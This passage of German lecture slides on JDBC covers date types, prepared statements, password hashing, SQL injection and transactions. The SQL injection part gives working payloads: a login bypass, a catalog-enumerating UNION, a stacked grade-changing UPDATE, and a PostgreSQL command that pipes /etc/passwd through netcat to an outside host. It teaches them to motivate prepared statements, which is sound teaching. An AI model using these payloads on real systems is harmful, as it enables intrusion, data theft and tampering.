  - `int get(int field)`
  - `Date getTime()`
  - `long getTimeInMillis()`
- Die Zeitzone erhält man mit `TimeZone getTimeZone()`.
- `add(int field, int amount)` erlaubt es, das Datum z.B. um eine gewisse Anzahl Tage (`field=DAY_OF_MONTH`) zu verschieben.

  Dadurch können sich natürlich auch Monat und Jahr ändern (wenn man das nicht will, verwende man `roll`). Negative Werte für `amount` sind auch möglich.
- Es gibt auch Methoden `before`, `after`, `compareTo` (s.o.).

Spezielle Datentypen: Date (11)

Klasse SimpleDateFormat:

- Zum Ausdrucken und Parsen von Datumswerten gibt es die Klasse `java.text.SimpleDateFormat` (Subklasse von `java.text.DateFormat`).

  [https://docs.oracle.com/javase/8/docs/api/java/text/DateFormat.html]
  [https://docs.oracle.com/javase/8/docs/api/java/text/SimpleDateFormat.html]

- Beim Anlegen eines Objektes dieser Klasse legt man das Datumsformat fest:

```
df = new SimpleDateFormat("dd.MM.yyyy");
```

  Die wichtigsten Format-Buchstaben sind: `y`: Jahr, `M`: Monat (im Jahr), `d`: Tag (im Monat), `E`: Wochentag (Name), `H`: Stunde (24h System), `m`: Minute, `s`: Sekunde, `S`: Millisekunde. Wiederholungen eines Buchstaben beeinflussen teilweise die Ausgabe, z.B. `M`: Ausgabe einstellig, falls möglich, `MM`: Ausgabe immer zweistellig, `MMM`: Ausgabe als Text.

Spezielle Datentypen: Date (12)

Klasse SimpleDateFormat, Forts.:

- Man kann auch Spracheinstellungen festlegen:

```
new SimpleDateFormat("dd.MM.yyyy",
                     Locale.GERMANY);
```

- Hat man ein Objekt `df` der Klassen `DateFormat` bzw. `SimpleDateFormat`, so kann man einen `java.util.Date`-Wert `date` formatieren:

```
String s = df.format(date);
```

- Die umgekehrte Abbildung geht mit:

```
Date d = df.parse("24.12.2019");
```

Von da zu `java.sql.Date` kommt man wieder über die Millisekunden: `new java.sql.Date(d.getTime())`.

Spezielle Datentypen: Time

- `java.sql.Time` dient zur Repräsentation von Uhrzeiten.

  [https://docs.oracle.com/javase/8/docs/api/java/util/Date.html]

- Auch dies ist eine Subklasse von `java.util.Date`.

  Intern ist es also durch eine Anzahl Millisekunden repräsentiert.

  Die Methode `long getTime()` liefert diese Anzahl Millisekunden, die Methode `setTime(long t)` setzt sie. Entsprechend Konstruktor: `new Time(long t)`.

- Die Methode `String toString()` wandelt einen `Time`-Wert in eine Zeichenkette im Format `hh:mm:ss` um.
- Die statische Methode `Time.valueOf(String s)` liefert einen `Time`-Wert für eine Zeichenkette im Format `hh:mm:ss`.
- Seit Java 8 gibt es eine neue Klasse `java.time.LocalTime`, und man kann mit `toLocalTime()` darin konvertieren, bzw. umgekehrt mit `Time.valueOf(LocalTime t)`.

Spezielle Datentypen: Timestamp (1)

- `java.sql.Timestamp` dient zur Repräsentation von SQL `TIMESTAMP` Werten (Kombination aus Datum und Uhrzeit).

  [https://docs.oracle.com/javase/8/docs/api/java/sql/Timestamp.html]

- Es erbt auch von `java.sql.Date`, fügt aber ein Attribut zur Speicherung von Nanosekunden hinzu.
- `setNanos(int n)` speichert die Nanosekunden.

  Der erlaubte Wertebereich ist 0 und $10^9 - 1$.

- `int getNanos()` liefert die Nanosekunden.
- `setTime(long t)` setzt die Millisekunden seit 1.1.1970.
- `long getTime()` liefert die Millisekunden seit 1.1.1970.
- Konstruktor: `new Timestamp(long l)` (ms seit 1.1.1970)

Spezielle Datentypen: Timestamp (2)

- `toString()` liefert den Wert im Format „`yyyy-mm-dd hh:mm:ss.fffffffff`“.

  Von dem „fractional part“ `fffffffff` werden nur so viele Stellen verwendet, wie nötig (mindestens eine). Der gespeicherte Zahlwert als GMT interpretiert und in der Ausgabe in die Lokalzeit konvertiert, also eine Stunde addiert.

- Die statische Methode `Timestamp valueOf(String s)` konvertiert einen String in ein `Timestamp` Objekt.

  Das Format ist: `yyyy-[m]m-[d]d hh:mm:ss[.f...]`

- Seit Java 8 gibt es den Typ `java.time.LocalDateTime`, darin kann man konvertieren mit `toLocalDateTime()`, und umgekehrt mit `valueOf(LocalDateTime dt)`.

  [https://docs.oracle.com/javase/8/docs/api/java/time/LocalDateTime.html]

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Prepared Statements (1)

- Es ist möglich, SQL-Anweisungen mit Parametern zu schreiben.
- Die Parameter werden in der SQL-Anweisung mit „?“ markiert (außerhalb von `"..."` und `'...'`, z.B. ist `'?'` ein String!).
- Parameter sind überall erlaubt, wo in SQL eine Konstante stehen könnte.

  Bei der Ausführung setzt man für die Parameter dann Datenwerte ein.
- Dadurch kann eine SQL-Anweisung mehrfach mit verschiedenen Werten ausgeführt werden.
- Dies hat u.a. den Vorteil, dass die Anweisung nur ein Mal syntaktisch analysiert und optimiert wird.

  Bei mehrfacher Ausführung spart man so Laufzeit.

Prepared Statements (2)

Weitere Vorteile parametrisierter SQL-Anweisungen:

- Wenn verschiedene Programmaufrufe die gleiche SQL-Anfrage ausführen, findet der DBMS-Server ggf. die SQL-Anweisung mit Ausführungsplan in einem Puffer (Cache).

  Fügt man Datenwerte in die Anfrage ein, ist es jedes Mal eine neue Anfrage.

- Parametrisierte Anweisung sind selbst dann nützlich, wenn die Anweisung nur ein Mal ausgeführt wird.

- Sonst müsste man Eingabewerte in den SQL-String kopieren, was schwierig wird, wenn der Eingabewert möglicherweise ' oder andere Zeichen mit Spezialbedeutung enthält.

  Dies ist auch eine Angriffsmöglichkeit für Hacker: „SQL Injection“ (s.u.).

- Man braucht sich um die Syntax z.B. von Datumskonstanten im konkreten DBMS nicht zu sorgen: Java-Objekt für „?“.

Prepared Statements (3)

- Die `Connection` Klasse hat u.a. die Methode `prepareStatement(String sql)`. Diese liefert ein Objekt der Klasse `java.sql.PreparedStatement`.

  [https://docs.oracle.com/javase/8/docs/api/java/sql/PreparedStatement.html]

- Es gibt viele `set*`-Methoden, um Parameter zu setzen, bevor das Statement ausgeführt werden kann.

- Parameter werden über ihre Position in der Anweisung identifiziert. Alle `set*`-Methoden haben als erstes Argument `int parameterIndex`. Der Index des ersten Parameters ist `1`.

  Und nicht etwa 0, wie in Java für Arrays üblich.

- Der zweite Parameter ist der Datenwert, z.B.

  ```
  void setInt(int parameterIndex, int x)
  ```

  Wie praktisch alle JDBC-Methoden kann sie eine `SQLException` auslösen.

Prepared Statements (4)

- Hat man alle Parameter gesetzt, kann man das `PreparedStatement` ausführen:
  - Ist es eine Anfrage, mit

    ```
    ResultSet executeQuery()
    ```

    Das `ResultSet` wurde oben schon bei den nicht-parametrisierten Anweisungen behandelt. Die wichtigsten Methoden sind `boolean next()` und die `get*`-Methoden, z.B. `int getInt(int columnIndex)`.
  - Ist es ein Update, mit

    ```
    int executeUpdate()
    ```

    Dies liefert die Anzahl betroffener Zeilen.

Datenbank mit Passworten (1)

- Die Tabelle der Studierenden sei um ein Passwort erweitert:

STUDENTEN				
SID	VORNAME	NACHNAME	EMAIL	PASSWORT
101	Lisa	Weiss	lisa@acm.org	geheim
102	Michael	Grau	grau@pitt.edu	123456
103	Daniel	Sommer	ds@gmail.com	password
104	Iris	Winter	iris@gmx.de	welcome

- Speichern Sie keine Passworte im Klartext in Ihrer Datenbank!

  Wenn etwas schief geht, und ein Hacker bekommt Ihre Daten, kann er sich damit dann vermutlich in vielen anderen Onlineshops etc. einloggen.
  Man soll zwar unterschiedliche Passworte in unterschiedlichen Onlineshops verwenden, aber viele tun das nicht. Denken Sie auch an gefeuerte Mitarbeiter, die Daten „mitnehmen“. Oder Backup-Medien, die ungeschützt im Rechnerraum herumliegen. Oder kaputte Platten, im Müll landen, aber reparierbar sind.

Datenbank mit Passworten (2)

- Speichern Sie einen Hash von dem Passwort konkateniert mit einer zufälligen Zeichenkette („Salt“).

  Für jeden neuen Nutzer würfeln Sie eine eigene „Salt“-Zeichenkette aus, die Sie dann auch in der Datenbank speichern. So vermeiden Sie, dass vorberechnete Tabellen von Passwort-Hashes verwendet werden können. Z.B. liefert Google für viele MD5-Hashes passende Worte, weil es entsprechende Tabellen (von Hackern?) in Internet indiziert hat. Sie können auch (zusätzlich) eine „Pepper“-Zeichenkette hinzufügen, die ist für alle Nutzer gleich, steht aber nicht in der Datenbank, sondern nur in der Software. [Wikipedia:Salt].

- Wenn ein Nutzer ein Passwort eingibt, konkatenieren Sie es mit dem Salt und berechnen den Hash. Stimmen die Hashes überein, war das Passwort (wahrscheinlich) richtig.

  MD5 und SHA1 sind bekannte Hash-Funktionen. Man sollte aber eine Funktion nehmen, die aufwändig zu berechnen ist, um Brute-Force-Angriffe zu erschweren. Z.B. wurde `bcrypt` mit diesem Ziel entwickelt [Wikipedia:bcrypt].

SQL Injection (1)

- Angenommen, es gibt ein Web-Formular, in das die Studenten EMail-Adresse und Passwort eintragen können, und dann ihre Punkte angezeigt bekommen.
- Eine ganz simple Lösung würde diese Anfrage verwenden:

GEFÄHRLICH!

```
SELECT B.ANR, A.THEMA, B.PUNKTE
FROM   AUFGABEN A JOIN BEWERTUNGEN B
           ON (B.ATYP=A.ATYP AND B.ANR=A.ANR)
       JOIN STUDENTEN S ON S.SID=B.SID
WHERE  A.ATYP = 'H'
AND    S.EMAIL = '$EMAIL' AND S.PASSWORD = '$PW'
```

`$EMAIL` und `$PW` zeigen an, wo die Eingabewerte aus dem Webformular eingefügt werden. Obige Syntax funktioniert z.B. in PHP: Dort werden Variablen `$...` in Zeichenketten, die in " eingeschlossen sind, durch ihren Wert ersetzt.
In Java: Anfrage mit + zusammensetzen oder `String.format` (`%s` Parameter).

SQL Injection (2)

- Der Hacker könnte einmal blind irgendeinen Text mit einem einfachen Anführungszeichen in das Eingabefeld schreiben:
  - Wenn es dann nicht die Antwort „Falsches Passwort“ gibt, sondern irgendeinen internen Fehler, ist schon klar, dass es hier ein Einfallstor gibt.
  - Mit großem Glück zeigt der Webserver auch noch die fehlerhafte SQL-Anfrage an.

    Man sollte im Fehlerfall möglichst wenig Informationen herausgeben. Schreiben Sie die Fehlermeldung in eine Log-Datei, die nicht über den Webserver erreichbar ist (mindestens gut passwort-geschützt). Es ist auch vorgekommen, dass bei Programmabstürzen geschriebene `core`-Dateien (Speicherabzüge) über den Webserver abgreifbar waren.
  - Vielleicht sagt die Anleitung auch: „Bitte verwenden Sie keine Anführungszeichen `'` in Passworten . . .“ (Einladung!).

SQL Injection (3)

- Der erste Versuch ist dann, als EMail-Adresse und als Passwort `' OR 'a' = 'a` einzugeben.
- Die Bedingung der Anfrage ist:

```
WHERE A.ATYP = 'H'
AND   S.EMAIL = '$EMAIL' AND S.PASSWORD = '$PW'
```

- Man erhält jetzt also:

```
WHERE A.ATYP = 'H'
AND   ...      AND S.PASSWORD = '' OR 'a' = 'a'
```

- Da `OR` schwächer bindet als `AND`, und `'a' = 'a'` true ist, erhält man alle Hausaufgaben-Ergebnisse von allen Studenten.
- Für `$EMAIL` könne man auch `lisa@acm.org' --` einsetzen.

SQL Injection (4)

- Damit der Hacker interessante Anfragen schreiben kann, braucht er die Tabellennamen.
- Die bekommt er aus dem Data Dictionary. Dazu muss er verschiedene Systeme durchprobieren, z.B. gibt er für PostgreSQL Folgendes ein:

```
' UNION SELECT 0, tablename, 0
        FROM pg_catalog.pg_tables
        WHERE tablename NOT LIKE '%pg_%
```

  Dies setzt natürlich voraus, dass die String-wertige Spalte (Thema der Aufgabe) in der Mitte steht. Notfalls muss man etwas probieren. Die gewünschten Tabellennamen erscheinen in der Ausgabe dann als Thema der Aufgabe. Aufgabennummer und Punkte werden hier nicht benötigt, und als 0 ausgegeben.

- Mit der gleichen Technik kommt er an alle Daten.

SQL Injection (5)

- Viele Systeme erlauben auch, mehrere Befehle (getrennt durch „;“) hintereinander zu hängen.
- Damit kann der Hacker dann auch ganz andere SQL-Befehle ausführen:

```
'; UPDATE BEWERTUNGEN
   SET PUNKTE = 1000
   WHERE SID = 101 OR 'a' = '
```

Wenn das an eine Anfrage gehängt wird, die mit `executeQuery` ausgeführt wird, wird das Programm mit einer Exception abgebrochen: „Multiple ResultSets were returned by the query“. Tatsächlich ist der Update aber durchgeführt!
Es wäre wohl sicherer gewesen, den „autocommit“ Modus auszuschalten.

SQL Injection (6)

- Mit dem `COPY`-Befehl zum Datenexport könnten auch Dateien auf dem Server geschrieben werden.

  Auch ein Datenimport in eine Tabelle, und dann die Abfrage der Daten.

  Da man den `DELIMITER` setzen kann, muss die Datei nicht wirklich ein bestimmtes Format wie CSV haben (man wählt einfach ein Zeichen, das in der Datei nicht vorkommt, und eine Tabelle mit einer Spalte).

- Bei PostgreSQL kann nur ein „Superuser“ mit `COPY` Dateien auf dem Server lesen oder schreiben.

  „`SUPERUSER`“ ist ein Attribut der Rolle, das beim Anlegen des Nutzers vergeben werden kann.

- Es ist also wichtig, dass der Datenbank-Nutzer, unter dem sich das Programm anmeldet, nicht besonders privilegiert ist.

  Wenn der Entwickler faul war, und einfach den bei der Installation angelegten Account „postgres“ verwendet hat, funktioniert dieser Angriff.

SQL Injection (7)

- Wenn man `SUPERUSER` Rechte in PostgreSQL hat, kann man beliebige Betriebssystem-Befehle ausführen:

```
CREATE OR REPLACE FUNCTION system(cstring)
RETURNS int
AS '/lib/libc.so.6', 'system'
LANGUAGE 'C' STRICT;

SELECT system('cat /etc/passwd|nc 10.0.0.1 8080');
```

[http://pentestmonkey.net/cheat-sheet/...] Die Funktion „`system`“ der Standard-C-Bibliothek führt das String-Argument in einer Shell aus (als UNIX/Linux-Befehl). Sie wird hier als PostgreSQL-Funktion verfügbar gemacht (man gibt die Objektdatei und den Einstiegspunkt an). Dann wird `/etc/passwd` an irgendeinen Rechner im Netz kopiert (mit „netcat“).
Der Befehl wird als der „`postgres`“ Betriebssystem Nutzer ausgeführt (unter dem der Server läuft). Dieser sollte nicht unnötig viele Rechte haben.

SQL Injection (8)

- Kopieren Sie niemals Eingabedaten in SQL-Statements!
- Verwenden Sie Eingabedaten nur als Parameterwerte in „Prepared Statements“.
- Das macht alle diese Angriffe unmöglich.
- Wenn man die Eingabe nur auf verbotene Zeichen testet, finden sich oft Möglichkeiten, das zu umgehen.

  Z.B. jedes Anführungszeichen in der Eingabe wird verdoppelt, bevor es in den SQL String kopiert wird: Der Hacker schreibt `\'` (funktioniert z.B. bei MySQL, aber nicht bei PostgreSQL). Manche DBMS ersetzen automatisch Unicode-Sequenzen, die einem Aprostroph ähnlich sind, z.B. „modifier letter apostrophe“ (`U+02BC`).

SQL Injection (9)

- Wenn Datenbank-Inhalte in Webseiten übernommen werden, und ein Hacker Zugriff auf unsere Datenbank hat, kann er in der Datenbank JavaScript-Schadecode speichern (also Code, der Sicherheitslücken in Browsern ausnutzt).
- Dies wirkt sich dann mit etwas Verzögerung aus, wenn unsere Mitarbeiter oder Kunden arglos auf unseren Webseiten surfen, denen sie normalerweise vertrauen können.
- Beim Aufbau von Webseiten sollte man alle Zeichen maskieren, die in HTML eine Bedeutung haben (übersetzen Sie bei jedem String aus der DB vor der Ausgabe z.B. `<` in `<`).

  Das geht aber nicht, wenn man schon fertiges HTML in der Datenbank gespeichert hat. Zumindest muss man gut dokumentieren, welche Strings in der Datenbank HTML-Stücke sind, und darin gelegentlich nach JavaScript suchen.

Inhalt

1. Einleitung
2. Verbindung zur DB
3. Anfragen und Updates
4. Spezielle Datentypen
5. Prepared Statements
6. Sonstiges

Transaktionen (1)

- Die Datenbank-Verbindung (Klasse `java.sql.Connection`) ist normalerweise im „Autocommit“-Modus, d.h. jeder Update wird sofort committed (dauerhaft gemacht).

  [https://docs.oracle.com/javase/8/docs/api/java/sql/Connection.html]
  [https://docs.oracle.com/javase/tutorial/jdbc/basics/transactions.html]

- Wenn man Transaktionen nutzen will, muss man zuerst den „Autocommit“ Moduls ausschalten:

  ```
  conn.setAutoCommit(false);
  ```

  Mit `conn.setAutoCommit(true)` stellt man den Ausgangszustand wieder her.
  Mit `boolean getAutoCommit()` kann man den Zustand abfragen.

- Dann kann man Transaktionen explizit abschliessen:
  - `conn.commit()`: Erfolgreicher Abschluss.
  - `conn.rollback()`: Alle Änderungen zurücknehmen.

Transaktionen (2)

- Es ist undefiniert („implementation defined“), was passiert, wenn eine Datenbank-Verbindung geschlossen wird, ohne dass die Transaktion mit `commit()` oder `rollback()` abgeschlossen wurde.

  Ich hätte erwartet, dass in diesem Fall implizit ein `rollback()` ausgeführt wird. Das ist aber keineswegs garantiert. Oracle soll in diesem Fall implizit ein `commit()` ausführen, aber nur, wenn in der Verbindung nicht vorher schon ein `commit()` ausgeführt wird.

- Es ist also wichtig, im Fehlerfall (z.B. wenn man eine Exception auffängt) explizit `conn.rollback()` aufzurufen.

- Man sollte `conn.setAutoCommit(false)` sofort aufrufen, nachdem man die DB-Verbindung bekommen hat.

  Wenn man mehr als einen Update ausführt, ist im Autocommit Modus schwer nachzuvollziehen, was im Fehlerfall schon abgespeichert wurde.

Transaktionen (3)

- Wenn man eine Transaktion abschliesst, sollte man sich nicht darauf verlassen, dass offene `ResultSet` Objekte noch benutzt werden können.

  Man kann dies abfragen mit `int conn.getHoldability()`. Das Ergebnis kann `ResultSet.HOLD_CURSORS_OVER_COMMIT` bzw. `CLOSE_CURSORS_AT_COMMIT` sein. Man kann versuchen, es mit `setHoldability(int holdability)` zu setzen, aber das kann auch eine `SQLFeatureNotSupportedException` auslösen.

- `setTransactionIsolation(int level)`
  setzt die Isolationsstufe der Transaktionen, die über diese Datenbankverbindung abgewickelt werden.

  Mögliche Werte sind die Konstanten `TRANSACTION_READ_UNCOMMITTED`, `TRANSACTION_READ_COMMITTED`, `TRANSACTION_REPEATABLE_READ`, `TRANSACTION_SERIALIZABLE` (alle in der `Connection`-Klasse definiert).
  Mit `DatabaseMetaData.supportsTransactionIsolationLevel(int level)` kann man vorher abfragen, ob das DBMS die Isolationsstufe unterstützt.

ResultSets und Updates (1)

- Die Methode `createStatement()` der `Connection`-Klasse erzeugt ein Statement, das später `ResultSet`-Objekte liefert mit folgenden Eigenschaften:
  - `TYPE_FORWARD_ONLY`: Das `ResultSet` kann nur einmal von vorne nach hinten durchlaufen werden (mit `next()`).
  - `CONCUR_READ_ONLY`: Die Update-Methoden des `ResultSet` können nicht angewendet werden.
- Man kann diese Eigenschaften setzen mit:

```
Statement createStatement(int type, int concurr)
```

- Mögliche Werte für `type` sind: `TYPE_FORWARD_ONLY`, `TYPE_SCROLL_INSENSITIVE`, `TYPE_SCROLL_SENSITIVE`.

  Dies sind Konstanten in der Klasse `ResultSet`. „Sensitiv“ bedeutet, dass parallele Updates sich auf das `ResultSet` (normalerweise) auswirken.

ResultSets und Updates (2)

- Mögliche Werte für `concurr` („concurrency“) sind: `CONCUR_READ_ONLY`, `CONCUR_UPDATABLE`.

  Dies sind auch Konstanten in der Klasse `ResultSet`.

  Es ist möglich, dass das DBMS diese Features nicht unterstützt: Dann führt `createStatement` zu einer `SQLFeatureNotSupportedException`.

- Wenn das `ResultSet` updatebar ist, kann man Update-Methoden benutzen, z.B.

  `updateInt(int columnIndex, int n)`.

- Diese ändern zunächst nur die Zeile im `ResultSet`.

- Anschließend muss man `updateRow()` aufrufen, um die Zeile in der Datenbank zu aktualisieren.

- Auch `deleteRow()` ist möglich.

Metadaten

- Die Klasse `ResultSet` hat eine Methode `getMetaData()`, die ein Objekt des Typs `ResultSetMetaData` liefert.

  [https://docs.oracle.com/javase/8/docs/api/java/sql/ResultSetMetaData.html]

- Dieses Objekt hat u.a. folgende Methoden:
  - `getColumnCount()`: Anzahl Spalten im Anfrage-Ergebnis.
  - `getColumnName(int col)`:
    Name der Ergebnisspalte an Position `col` (1, 2, ...).
  - `getColumnDisplaySize(int col)`:
    Normale maximale Breite in Zeichen.
  - `getColumnType(int col)`: Datentyp der Spalte.

    Die möglichen Typen sind Konstanten in der Klasse `java.sql.Types`.

    [https://docs.oracle.com/javase/8/docs/api/java/sql/Types.html]

    Man kann auch `String getColumnTypeName(int col)` verwenden.

Literatur/Quellen

- Art Taylor: JDBC Developer's Resource, 2nd Edition. Prentice Hall, 1999.
- Maydene Fisher, Jon Ellis, Jonathan Bruce: JDBC API Tutorial and Reference, Third Edition. Addison-Wesley/Sun, 2003.
- Wikipedia: Open Database Connectivity. [https://en.wikipedia.org/wiki/Open_Database_Connectivity]
- Oracle: Java SE Technologies — Database. [https://www.oracle.com/technetwork/java/javase/jdbc/index.html]
- JDBC — Getting Started with the JDBC API [https://docs.oracle.com/javase/1.5.0/docs/guide/jdbc/getstart/]
- Lance Andersen: JDBC 4.1 Specification (JSR 221), July 2011. [https://download.oracle.com/otn-pub/jcp/jdbc-4_1-mrel-spec/jdbc4.1-fr-spec.pdf]
- The PostgreSQL JDBC Interface [https://jdbc.postgresql.org/documentation/head/index.html]
- How to securely hash passwords? [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords]
- pentestmonkey: Postgres SQL Injection Cheat Sheet [http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet]
- Steve Friedl: SQL Injection Attacks by Example. [http://unixwiz.net/techtips/sql-injection.html]